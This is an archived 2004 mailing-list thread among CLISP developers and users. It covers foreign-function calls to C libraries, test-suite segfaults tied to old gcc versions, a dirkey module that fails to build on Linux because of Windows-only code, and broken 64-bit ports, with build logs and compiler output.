    (defCfun "double call_d1d(int prt, double rad)" 0
        "double (*callptr)(double); callptr=prt; return ( (*callptr)(rad) );" )
    (defentry call-d1d (int double) (double call_d1d))
    (defun dyn-sin (rad) (call-d1d (elf::use-sym 'libm '|sin|) rad))
    (defun dyn-cos (rad) (call-d1d (elf::use-sym 'libm '|cos|) rad))
    (defun dyn-tan (rad) (call-d1d (elf::use-sym 'libm '|tan|) rad))
    (defun dyn-asin (rad) (call-d1d (elf::use-sym 'libm '|asin|) rad))
    (defun dyn-acos (rad) (call-d1d (elf::use-sym 'libm '|acos|) rad))
    (defun dyn-atan (rad) (call-d1d (elf::use-sym 'libm '|atan|) rad))

  I could then (compile-file and (load this file, and I'm even able
  to do an (elf::save-system on it, producing a core that is able
  to dynamicaly link its libraries next time.

  It would be nice to come up with a wrapper macro, so that my X&OpenGL
  experiments work with both kinds of GNU Common Lisp. A simple clisp
  code calling some function out of external libraries - perhaps even
  some using strings would be a head start.

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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-12 21:53:38 +0100]:
>
>     (defun dyn-sin (rad) (call-d1d (elf::use-sym 'libm '|sin|) rad))

see <modules/bindings/glibc/linux.lisp>

(def-call-out sin (:arguments (x double-float)) (:return-type double-float))

or

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Date: Thu Feb 12 14:34:08 2004
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Moin Sam Steingold,

> (def-call-out sin (:arguments (x double-float)) (:return-type double-float))

  this could be used for calling functions defined by (c-inline 

> (def-call-out sin (:arguments (x double-float))
>   (:library "/lib/libc.so")
>   (:return-type double-float))

  I tried this one and it gave :

Compiling file /bakunin/export/home/kraehe/lisp/mucl/elf-test.lsp ...
*** - Invalid option in
(FFI:DEF-CALL-OUT SIN (:ARGUMENTS (X DOUBLE-FLOAT)) (:LIBRARY "/lib/libm.so")
 (:RETURN-TYPE DOUBLE-FLOAT)): (:LIBRARY "/lib/libm.so")
1. Break [2]> *features*
(:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE
 :BASE-CHAR=CHARACTER :PC386 :UNIX)
1. Break [2]> (quit)

  Do I need to re./configure --with-dynamic-modules or what whats going
  wrong here.

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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-12 23:32:22 +0100]:
>
>> (def-call-out sin (:arguments (x double-float))
>>   (:library "/lib/libc.so")
>>   (:return-type double-float))
>
>   I tried this one and it gave :
>
> Compiling file /bakunin/export/home/kraehe/lisp/mucl/elf-test.lsp ...
> *** - Invalid option in
> (FFI:DEF-CALL-OUT SIN (:ARGUMENTS (X DOUBLE-FLOAT)) (:LIBRARY "/lib/libm.so")
>  (:RETURN-TYPE DOUBLE-FLOAT)): (:LIBRARY "/lib/libm.so")

you have an old version.
note that you will need (:name "sin") also.

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Hi,

Hoehle, Joerg-Cyril wrote:

>Hi,
>
>Nico Swart is confused about some aspects of what the CLISP FFI calls places. He writes:
>
>  
>
>>Is this because of 'fresh' variables or what am I missing ?
>>    
>>
>I'm not sure what you mean by fresh, but indeed, your C code is passed a new (stack-allocated) *struct bar, not the distinguished address of my_struct.
>
The 'fresh' term is used in the implementation notes. I understood that 
to mean a stack created object.

>You could also try to take advantage of the CLISP FFI's :in and :out modes. These do not feature struct-level granularity. Instead, you must split them at the function parameter level. I.e. use a struct for :in, and another for :out values.
>
>Try to not create a mixed structure with some :in and some :out values, as you currently have. Distinguished in and out modes IMHO provide for a better design, in the sense that it is more amenable to cross-language interfacing, performance tuning, database interaction and distributed computing.
>
>It also does not require you to initialize :out slots.
>(with-foreign-object (p 'bar (make-bar :x 10.0d0 :y 20.0d0))
>  (foreign-value p))
>*** - NIL cannot be converted to the foreign type DOUBLE-FLOAT
>you'd have to add :out 0.0d0 to make-bar.
>
>Of course, I myself wrote low-level C code with mixed in and out slots -- but at least, it was a conscious and weighted decision, instead of "I always did it this way and never thought about any other one".
>
>
>Regards,
>	Jörg Höhle.
>
>  
>

I resolved my wrong view as this by using 'c-pointer' in the declaration 
and 'c-var-object' in the call exactly as you pointed out. Although I 
resolved it, I appreciate
your explanation and suggestions as it added to my understanding, thanks.

Regards,
Nico Swart



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Moin Sam Steingold,

> you have an old version.

  i tried current CVS and run into the following problems :

  On Debian/Sarge only one test failed, ...

  Form: (LET ((F "foo.bar") FWD1) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE
  (S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ FWD1
  (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (= FWD1
  (FILE-WRITE-DATE S)))) (DELETE-FILE F)))
  CORRECT: T
  CLISP  : NIL

  but on Debian/Woody 

  (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL
  :PREFIX "a" :PER-LINE-PREFIX "b"))) 
  OK: ERROR
  (PPRINT-NEWLINE :FRESH) 
  OK: TYPE-ERROR
  (PPRINT-POP) 
  OK: ERROR
  (PPRINT-TAB :PARAGRAPH 0 1) 
  OK: ERROR
  (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL
  *STANDARD-OUTPUT*))) 
  OK: PRINT-NOT-READABLE
  (PRINT 1 2) make[1]: *** [tests] Segmentation fault
  make[1]: Leaving directory
  `/bakunin/export/home/kraehe/lisp/clisp-cvs-bakunin/src/suite'
  make: *** [testsuite] Error 2

  now funny - when I try (PRINT 1 2) with ./clisp it will work
  with Sarge barking, that "argument 2 is not a STREAM", while
  it will crash on Woody. Any idea ?

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Michael Koehne <kraehe@copyleft.de> writes:

> Moin Sam Steingold,
> 
> > you have an old version.
> 
>   i tried current CVS and run into the following problems :
> 
>   On Debian/Sarge only one test failed, ...
> 
>   Form: (LET ((F "foo.bar") FWD1) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE
>   (S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ FWD1
>   (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (= FWD1
>   (FILE-WRITE-DATE S)))) (DELETE-FILE F)))
>   CORRECT: T
>   CLISP  : NIL
> 
>   but on Debian/Woody 
> 
>   (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL
>   :PREFIX "a" :PER-LINE-PREFIX "b"))) 
>   OK: ERROR
>   (PPRINT-NEWLINE :FRESH) 
>   OK: TYPE-ERROR
>   (PPRINT-POP) 
>   OK: ERROR
>   (PPRINT-TAB :PARAGRAPH 0 1) 
>   OK: ERROR
>   (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL
>   *STANDARD-OUTPUT*))) 
>   OK: PRINT-NOT-READABLE
>   (PRINT 1 2) make[1]: *** [tests] Segmentation fault
>   make[1]: Leaving directory
>   `/bakunin/export/home/kraehe/lisp/clisp-cvs-bakunin/src/suite'
>   make: *** [testsuite] Error 2
> 
>   now funny - when I try (PRINT 1 2) with ./clisp it will work
>   with Sarge barking, that "argument 2 is not a STREAM", while
>   it will crash on Woody. Any idea ?
> 
> Bye Michael

I also have had this error with Woody because I use gcc 2.95,
when I switch to gcc 3.2 (also on Woody but compiled by myself),
there is no probleme.

So, maybe you have to use a more recent version of gcc.


Philippe


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Date: Fri Feb 13 02:27:01 2004
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I can't compile  clisp-2.32 with dirkey.  It insists  on including and
using MS-Windows stuff...


executing /local/src/clisp-2.32/src/configure --with-export-syscalls --with-dynamic-modules --prefix=/local/languages/clisp/ --with-module=regexp --with-module=clx/new-clx --with-module=queens --with-module=syscalls --with-module=dirkey --with-module=wildcard --with-module=bindings/glibc --cache-file=config.cache

...

checking ldap.h usability... yes
checking ldap.h presence... yes
checking for ldap.h... yes

...


    cd src
    ./makemake --with-dynamic-ffi  --with-export-syscalls --with-dynamic-modules --prefix=/local/languages/clisp/ --with-module=regexp --with-module=clx/new-clx --with-module=queens --with-module=syscalls --with-module=dirkey --with-module=wildcard --with-module=bindings/glibc --hyperspec=http://thalssa.informatimago.com/local/lisp/www.lispworks.com/reference/HyperSpec/   > Makefile
    make config.lisp
    emacsclient config.lisp
    make



test -d dirkey || ./lndir ../modules/dirkey dirkey
if test -f dirkey/configure -a '!' -f dirkey/config.status ; then cd dirkey ; ./configure --cache-file=`echo dirkey/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi
configure: loading cache ../config.cache
configure:  * Dirkey (Tools):
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables... 
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
configure:  * Dirkey (Headers):
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking ldap.h usability... yes
checking ldap.h presence... yes
checking for ldap.h... yes
checking gnome.h usability... no
checking gnome.h presence... no
checking for gnome.h... no
configure:  * Dirkey (Output):
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
configure:  * Dirkey (Done)
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd dirkey ; dots=`echo dirkey/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none -Wl,-export-dynamic" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   " RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/local/src/clisp-2.32/src/dirkey'
/local/src/clisp-2.32/src/lisp.run -M /local/src/clisp-2.32/src/lispinit.mem -B /local/src/clisp-2.32/src -N /local/src/clisp-2.32/src/locale -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas dirkey.c
;; MODPREP: "dirkey.c" --> #P"dirkey.m.c"
;; MODPREP: reading "dirkey.c": 32,027 bytes, 883 lines

;; MODPREP: 18 objects, 12 DEFUNs
;; packages: ("LDAP")
MODPREP: wrote #P"dirkey.m.c" (38,915 bytes)

Real time: 0.701425 sec.
Run time: 0.19 sec.
Space: 569032 Bytes
GC: 1, GC time: 0.03 sec.
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -I../ -c dirkey.m.c -o dirkey.o
In file included from dirkey.c:10:
config.h:38:1: warning: "PACKAGE_BUGREPORT" redefined
In file included from dirkey.c:8:
../clisp.h:124:1: warning: this is the location of the previous definition
In file included from dirkey.c:10:
config.h:41:1: warning: "PACKAGE_NAME" redefined
In file included from dirkey.c:8:
../clisp.h:125:1: warning: this is the location of the previous definition
In file included from dirkey.c:10:
config.h:44:1: warning: "PACKAGE_STRING" redefined
In file included from dirkey.c:8:
../clisp.h:126:1: warning: this is the location of the previous definition
In file included from dirkey.c:10:
config.h:47:1: warning: "PACKAGE_TARNAME" redefined
In file included from dirkey.c:8:
../clisp.h:127:1: warning: this is the location of the previous definition
In file included from dirkey.c:10:
config.h:50:1: warning: "PACKAGE_VERSION" redefined
In file included from dirkey.c:8:
../clisp.h:128:1: warning: this is the location of the previous definition
dirkey.c:28:22: windows.h: No such file or directory
dirkey.c: In function `C_subr_ldap_dir_key_close':
dirkey.c:227: error: `errno' undeclared (first use in this function)
dirkey.c:227: error: (Each undeclared identifier is reported only once
dirkey.c:227: error: for each function it appears in.)
dirkey.c: In function `fehler_ldap':
dirkey.c:359: warning: implicit declaration of function `CLSTEXT'
dirkey.c:359: warning: assignment makes pointer from integer without a cast
dirkey.c: In function `C_subr_ldap_dir_key_subkeys':
dirkey.c:533: error: `LONG' undeclared (first use in this function)
dirkey.c:533: error: parse error before "status"
dirkey.c:533: error: `DWORD' undeclared (first use in this function)
dirkey.c:533: error: `HKEY' undeclared (first use in this function)
dirkey.c:533: error: `status' undeclared (first use in this function)
dirkey.c:533: warning: implicit declaration of function `RegQueryInfoKey'
dirkey.c:533: error: `hkey' undeclared (first use in this function)
dirkey.c:533: error: `n_obj' undeclared (first use in this function)
dirkey.c:533: error: `maxlen' undeclared (first use in this function)
dirkey.c:533: error: `ERROR_SUCCESS' undeclared (first use in this function)
dirkey.c:533: warning: implicit declaration of function `SetLastError'
dirkey.c:533: error: parse error before "len"
dirkey.c:533: warning: implicit declaration of function `RegEnumKey'
dirkey.c:533: error: `len' undeclared (first use in this function)
dirkey.c: In function `C_subr_ldap_dir_key_attributes':
dirkey.c:541: error: `LONG' undeclared (first use in this function)
dirkey.c:541: error: parse error before "status"
dirkey.c:541: error: `DWORD' undeclared (first use in this function)
dirkey.c:541: error: `HKEY' undeclared (first use in this function)
dirkey.c:541: error: `status' undeclared (first use in this function)
dirkey.c:541: error: `hkey' undeclared (first use in this function)
dirkey.c:541: error: `n_obj' undeclared (first use in this function)
dirkey.c:541: error: `maxlen' undeclared (first use in this function)
dirkey.c:541: error: `ERROR_SUCCESS' undeclared (first use in this function)
dirkey.c:541: error: parse error before "len"
dirkey.c:541: warning: implicit declaration of function `RegEnumValue'
dirkey.c:541: error: `len' undeclared (first use in this function)
dirkey.c: In function `init_iteration_node':
dirkey.c:650: warning: implicit declaration of function `open_reg_key'
dirkey.c:650: error: `HKEY' undeclared (first use in this function)
dirkey.c:650: error: parse error before ')' token
dirkey.c:652: error: `DWORD' undeclared (first use in this function)
dirkey.c:652: error: parse error before "k_size"
dirkey.c:653: warning: implicit declaration of function `SYSCALL_WIN32'
dirkey.c:653: error: `k_size' undeclared (first use in this function)
dirkey.c:654: error: `a_size' undeclared (first use in this function)
dirkey.c:654: error: `d_size' undeclared (first use in this function)
dirkey.c: In function `state_next_key':
dirkey.c:682: error: `DWORD' undeclared (first use in this function)
dirkey.c:682: error: parse error before "status"
dirkey.c:684: error: `status' undeclared (first use in this function)
dirkey.c:684: error: `ERROR_SUCCESS' undeclared (first use in this function)
dirkey.c:688: warning: implicit declaration of function `RegCloseKey'
dirkey.c:688: error: `HKEY' undeclared (first use in this function)
dirkey.c: In function `C_subr_ldap_dkey_search_next_att':
dirkey.c:760: error: `DWORD' undeclared (first use in this function)
dirkey.c:760: error: parse error before "type"
dirkey.c:766: error: `status' undeclared (first use in this function)
dirkey.c:766: error: `ERROR_SUCCESS' undeclared (first use in this function)
dirkey.c:769: warning: implicit declaration of function `registry_value_to_object'
dirkey.c:769: error: `type' undeclared (first use in this function)
dirkey.c:769: error: `size' undeclared (first use in this function)
dirkey.c:769: warning: assignment makes pointer from integer without a cast
dirkey.c: In function `C_subr_ldap_dir_key_value':
dirkey.c:825: error: `DWORD' undeclared (first use in this function)
dirkey.c:825: error: parse error before "status"
dirkey.c:825: error: `HKEY' undeclared (first use in this function)
dirkey.c:825: error: parse error before "hk"
dirkey.c:825: error: `status' undeclared (first use in this function)
dirkey.c:825: warning: implicit declaration of function `RegQueryValueEx'
dirkey.c:825: error: `hk' undeclared (first use in this function)
dirkey.c:825: error: `size' undeclared (first use in this function)
dirkey.c:825: error: `ERROR_SUCCESS' undeclared (first use in this function)
dirkey.c:825: error: `ERROR_FILE_NOT_FOUND' undeclared (first use in this function)
dirkey.c:825: error: `type' undeclared (first use in this function)
dirkey.c:825: error: `BYTE' undeclared (first use in this function)
dirkey.c:825: error: parse error before ')' token
dirkey.c:825: warning: assignment makes pointer from integer without a cast
dirkey.c: In function `C_subr_ldap_set_dkey_value':
dirkey.c:836: error: `HKEY' undeclared (first use in this function)
dirkey.c:836: error: parse error before "hk"
dirkey.c:859: warning: implicit declaration of function `RegSetValueEx'
dirkey.c:859: error: `hk' undeclared (first use in this function)
dirkey.c:859: error: `REG_SZ' undeclared (first use in this function)
dirkey.c:859: error: `BYTE' undeclared (first use in this function)
dirkey.c:859: error: parse error before ')' token
dirkey.c:859: error: `DWORD' undeclared (first use in this function)
dirkey.c:859: error: parse error before "word"
dirkey.c:859: error: `REG_DWORD' undeclared (first use in this function)
dirkey.c:859: error: parse error before ')' token
dirkey.c:859: error: `word' undeclared (first use in this function)
dirkey.c:859: error: `REG_BINARY' undeclared (first use in this function)
dirkey.c: In function `C_subr_ldap_dir_key_subkey_delete':
dirkey.c:875: warning: implicit declaration of function `RegDeleteKey'
dirkey.c:875: error: `HKEY' undeclared (first use in this function)
dirkey.c: In function `C_subr_ldap_dir_key_value_delete':
dirkey.c:879: warning: implicit declaration of function `RegDeleteValue'
dirkey.c:879: error: `HKEY' undeclared (first use in this function)
dirkey.c: In function `C_subr_ldap_dkey_info':
dirkey.c:890: error: `HKEY' undeclared (first use in this function)
dirkey.c:890: error: parse error before "hkey"
dirkey.c:892: error: `DWORD' undeclared (first use in this function)
dirkey.c:892: error: parse error before "class_length"
dirkey.c:900: error: `FILETIME' undeclared (first use in this function)
dirkey.c:901: error: `hkey' undeclared (first use in this function)
dirkey.c:901: error: `class_length' undeclared (first use in this function)
dirkey.c:908: error: `num_sub_keys' undeclared (first use in this function)
dirkey.c:908: error: `max_sub_key_length' undeclared (first use in this function)
dirkey.c:909: error: `max_class_length' undeclared (first use in this function)
dirkey.c:910: error: `num_values' undeclared (first use in this function)
dirkey.c:910: error: `max_value_name_length' undeclared (first use in this function)
dirkey.c:911: error: `max_value_length' undeclared (first use in this function)
dirkey.c:912: error: `security_descriptor' undeclared (first use in this function)
dirkey.c:913: error: `write_time' undeclared (first use in this function)
dirkey.c:926: warning: implicit declaration of function `to_time_t_'
make[1]: *** [dirkey.o] Error 1
make[1]: Leaving directory `/local/src/clisp-2.32/src/dirkey'
make: *** [dirkey] Error 2


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 09:26:45 +0100]:
>
> I can't compile clisp-2.32 with dirkey.  It insists on including and
> using MS-Windows stuff...

the only dirkey type supported at this time is :win32.
gnome-config and ldap have not been implemented yet.
would you like to work on this?

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 09:26:45 +0100]:
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> > I can't compile clisp-2.32 with dirkey.  It insists on including and
> > using MS-Windows stuff...
> 
> the only dirkey type supported at this time is :win32.
> gnome-config and ldap have not been implemented yet.
> would you like to work on this?

On OpenLDAP, probably!

But I'm wondering if a module is needed.  I'd rather do it with FFI or
UFFI to the OpenLDAP library.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 15:41:07 +0100]:
>
> Sam Steingold writes:
>> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 09:26:45 +0100]:
>> >
>> > I can't compile clisp-2.32 with dirkey.  It insists on including and
>> > using MS-Windows stuff...
>> 
>> the only dirkey type supported at this time is :win32.
>> gnome-config and ldap have not been implemented yet.
>> would you like to work on this?
>
> On OpenLDAP, probably!
good!

> But I'm wondering if a module is needed.

I think that LDAP API is insufficiently Lispy, so C glue will be needed.

> I'd rather do it with FFI or

C module is faster than FFI.
My rule of thumb is that when you have zillions of functions each of
which will be called infrequently, one should use FFI (e.g.,
clisp/modules/bindings/glibc), but when you have relatively few
functions which will be called over and over again, it pays to write a C
module (like LDAP).

Another important consideration is that C module approach is more
robust. E.g., if the C library to which you are interfacing changes a
struct layout of a #define value, a C module would need to be
recompiled - but the FFI module will require source code modifications
to reflect the changes.

> UFFI to the OpenLDAP library.

UFFI does not support CLISP.
Would you like to work on that too?
(UFFI takes priority over dirkey!)

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 15:41:07 +0100]:
> >
> > Sam Steingold writes:
> >> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 09:26:45 +0100]:
> >> >
> >> > I can't compile clisp-2.32 with dirkey.  It insists on including and
> >> > using MS-Windows stuff...
> >> 
> >> the only dirkey type supported at this time is :win32.
> >> gnome-config and ldap have not been implemented yet.
> >> would you like to work on this?
> >
> > On OpenLDAP, probably!
> good!
> 
> > But I'm wondering if a module is needed.
> 
> I think that LDAP API is insufficiently Lispy, so C glue will be needed.
> 
> > I'd rather do it with FFI or
> 
> C module is faster than FFI.
> My rule of thumb is that when you have zillions of functions each of
> which will be called infrequently, one should use FFI (e.g.,
> clisp/modules/bindings/glibc), but when you have relatively few
> functions which will be called over and over again, it pays to write a C
> module (like LDAP).
> 
> Another important consideration is that C module approach is more
> robust. E.g., if the C library to which you are interfacing changes a
> struct layout of a #define value, a C module would need to be
> recompiled - but the FFI module will require source code modifications
> to reflect the changes.

But an important  (to me) considation is that a  FFI based solution is
written in Lisp :-) while a module is written in C :-(.


> > UFFI to the OpenLDAP library.
> 
> UFFI does not support CLISP.
> Would you like to work on that too?
> (UFFI takes priority over dirkey!)

I already started to implement  a UFFI package over FFI.  An important
part that  is missing  is dlopen et  al. Reading the  documentation of
SYS::DYNLOAD-MODULES I got  the impression that it would  not serve to
load random libraries. I guess a dl module would be in order.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-02-13 16:03:05 +0100]:
>
> But an important (to me) considation is that a FFI based solution is
> written in Lisp :-) while a module is written in C :-(.

I understand this.
Unfortunately, DTRT sometimes requires doing some C.
It's not hard, trust me.

>> > UFFI to the OpenLDAP library.
>> 
>> UFFI does not support CLISP.
>> Would you like to work on that too?
>> (UFFI takes priority over dirkey!)
>
> I already started to implement  a UFFI package over FFI.  An important
> part that  is missing  is dlopen et  al. Reading the  documentation of
> SYS::DYNLOAD-MODULES I got  the impression that it would  not serve to
> load random libraries. I guess a dl module would be in order.

see FFI::FOREIGN-LIBRARY (clisp/src/foreign.d)
and DEF-C-VAR & DEF-CALL-OUT :LIBRARY options.

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Hello!

Trying to compile clisp 2.32 (on Slackware Linux 8.0, with gcc 2.95 and
glibc 2.2.3), I've encountered a following problem:

after (finally) successful configuration/compilation (many warnings about
void pointers used in arithmetics and (ab)using of registers by more
global variables) 'make test' succeedes, but 'make testsuite' fails in the
middle of exceptsit.tst, particularly on: (print 1 2) i.e. line 875, with
output:

*** - handle_fault error1 ! address = 0x10a not in [0x20210000,0x2031efe8)
SIGSEGV cannot be cured. Fault address = 0x10a

Trying to feed newly-compiled clisp 2.32 with (print 1 2) leads to similar
fault (only upper address in different).

Trying (print 1 2) on clisp 2.30 compiled earlier on the same Linux leads
to error message only.


With regards

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> * Jan Pawel Woronczak <wcnjryj@hav.jebp.cy> [2004-02-14 23:55:34 +0100]:
>
> Trying to compile clisp 2.32 (on Slackware Linux 8.0, with gcc 2.95
> and glibc 2.2.3), I've encountered a following problem:
>
> after (finally) successful configuration/compilation (many warnings about
> void pointers used in arithmetics and (ab)using of registers by more
> global variables) 'make test' succeedes, but 'make testsuite' fails in the
> middle of exceptsit.tst, particularly on: (print 1 2) i.e. line 875, with
> output:
>
> *** - handle_fault error1 ! address = 0x10a not in [0x20210000,0x2031efe8)
> SIGSEGV cannot be cured. Fault address = 0x10a
>
> Trying to feed newly-compiled clisp 2.32 with (print 1 2) leads to similar
> fault (only upper address in different).

this is a known problem with this gcc version.
Please upgrade to gcc 3

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Hi,

Michael Koehne wonders:
>> Given my Amiga background
>  i know this is totaly off topic, but do you know a clisp for KICK.ROM
>  3.1, Kickstart version 40.63, Workbench version 34.28 ?
What's wrong with the version on Aminet?
I don't have v34. nor any PowerPC card, just 3.1 in both my A4000 and A2000
boxes. But there shouldn't be problems with newer releases of Kickstart
or Workbench.

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Moin Hoehle, Joerg-Cyril,

> Michael Koehne wonders:
> >> Given my Amiga background
> >  i know this is totaly off topic, but do you know a clisp for KICK.ROM
> >  3.1, Kickstart version 40.63, Workbench version 34.28 ?
> What's wrong with the version on Aminet?

  perhaps only the missing Amiga prominence - I receive hundrets of
  dialer-site (offering to install 0190 dialers to raise my network
  to 1$/minute) cheating Google, when searching "amiga clisp download".
  I receive dozends of dead links, e.g to http://zeus.gmd.de/~hoehle/amiga.html
  and the only clisp I found was nearly 8 years old.

  So is there an actual URL for downloading an actual clisp, compiled
  for Amiga OS ?

> I don't have v34. nor any PowerPC card, just 3.1 in both my A4000 and A2000
> boxes. But there shouldn't be problems with newer releases of Kickstart
> or Workbench.

  I never was an Amiga guru and the A2000 of my housemate was left open
  and abused as a cat toylet years ago. So the only KICK.ROM and WB I
  have came with a game, that I'm playing bi-monthly for over a decade.

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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-16 15:05:06 +0100]:
>
>   So is there an actual URL for downloading an actual clisp, compiled
>   for Amiga OS ?

<http://clisp.cons.org> ==>
<ftp://ftp.tu-darmstadt.de/pub/programming/languages/lisp/clisp/binaries/old-infrastructure/amiga/>

Amiga support has been removed from the CVS recently.
You should have spoken up when the issue was raised a couple of months ago...

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Hi,

    trying to buld clisp-2.32 on i386, ia64, ppc, ppc64, s390, s390x,
and x86_64, I found the following architecures broken:


         ia64                   `nilvector_type' undeclared
         ppc64                  `avcall-powerpc64.lo' target is missed
         s390                    compiler problem
         s390x                  `avcall-s390x.lo' target is missed
         x86_64                  no oint_type_len defined, after using
                                 that from ia64 I run onto `nilvector_type'
                                 undeclared


Is there a wy to get clisp working not only on i386 and ppc?
Used gcc is 3.3.2, Linux kernel 2.6.2.


       Werner
        


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On Monday 16 Feb 2004 3:20 pm, Dr. Werner Fink wrote:

>          ia64                   `nilvector_type' undeclared
>          x86_64                  no oint_type_len defined, after using
>                                  that from ia64 I run onto `nilvector_type'
>                                  undeclared

These have been broken since clisp 2.32. I have looked into the problem but 
made no progress. Alpha is also broken due to this issue.

>          s390                    compiler problem

This builds OK for Debian.

> Is there a wy to get clisp working not only on i386 and ppc?
> Used gcc is 3.3.2, Linux kernel 2.6.2.

The Debian builds are here:

http://buildd.debian.org/build.php?arch=&pkg=clisp

Currently built on:
i386, powerpc, sparc, hppa, mips, mipsel, s390
Currently failing on:
alpha, ia64, arm, m68k

Some of those are built without FFI. arm should be quite easily fixable.



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On Mon, Feb 16, 2004 at 03:43:40PM +0000, Will Newton wrote:
> On Monday 16 Feb 2004 3:20 pm, Dr. Werner Fink wrote:
> 
> >          ia64                   `nilvector_type' undeclared
> >          x86_64                  no oint_type_len defined, after using
> >                                  that from ia64 I run onto `nilvector_type'
> >                                  undeclared
> 
> These have been broken since clisp 2.32. I have looked into the problem but 
> made no progress. Alpha is also broken due to this issue.

It seems that for 64bit aka TYPECODES=1 the declaration for

  Array_type_nilvector
  Array_type_snilvector

and the types for that have been forgotten in src/lispbibl.d at line
4611 ff during implementation of allocate_nilvector().
For x86_64 the declaration for the full oint stuff is also missed in
src/lispbibl.d at line 2487 ff.

Is there something usefull around to implement nilvector_type and
snilvector_type for TYPECODES=1?  And clearly a developer familiar with
x86_64 internals may give us a hint to extend the missed oint stuff
for AMD64 (are the values for IA64 valid for AMD64)?

         Werner


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On Monday 16 Feb 2004 4:22 pm, Dr. Werner Fink wrote:

> and the types for that have been forgotten in src/lispbibl.d at line
> 4611 ff during implementation of allocate_nilvector().
> For x86_64 the declaration for the full oint stuff is also missed in
> src/lispbibl.d at line 2487 ff.

As I understand it, there is no space in typecodes to store the type 
information for nilvector, which is an optimization of a special case of 
vector. It should theoretically be possible, as I understand it, to remove 
the nilvector code entirely when building with typecodes and use the standard 
vector code, as was used in 2.31.

Is this correct Sam?

I experimented with this (using -DTYPECODES on i386) but the interpreter was 
aborting - it seemed it was finding a typecode it didn't recognize - but I 
don't know why this was, and have not investigated further.



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Moin Sam Steingold,

> <http://clisp.cons.org> ==>
> <ftp://ftp.tu-darmstadt.de/pub/programming/languages/lisp/clisp/binaries/old-infrastructure/amiga/>
> Amiga support has been removed from the CVS recently.
> You should have spoken up when the issue was raised a couple of months ago...

  just downloading them, even if they are also 8 years old. btw: what was
  the latest CVS tag, where Amiga support was possible, and did someone
  really compile this last Amiga clisp ? Or was the Amiga branch dropped
  because nobody tried it for nearly 8 years ?

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On Mon, Feb 16, 2004 at 05:48:16PM +0000, Will Newton wrote:
> On Monday 16 Feb 2004 4:22 pm, Dr. Werner Fink wrote:
> 
> > and the types for that have been forgotten in src/lispbibl.d at line
> > 4611 ff during implementation of allocate_nilvector().
> > For x86_64 the declaration for the full oint stuff is also missed in
> > src/lispbibl.d at line 2487 ff.
> 
> As I understand it, there is no space in typecodes to store the type 
> information for nilvector, which is an optimization of a special case of 
> vector. It should theoretically be possible, as I understand it, to remove 
> the nilvector code entirely when building with typecodes and use the standard 
> vector code, as was used in 2.31.
> 
> Is this correct Sam?
> 

Hmmm ... -DNO_TYPECODES=1 for x86_64 aka AMD64 results in:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
Cannot map memory to address 0x99fcd000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...
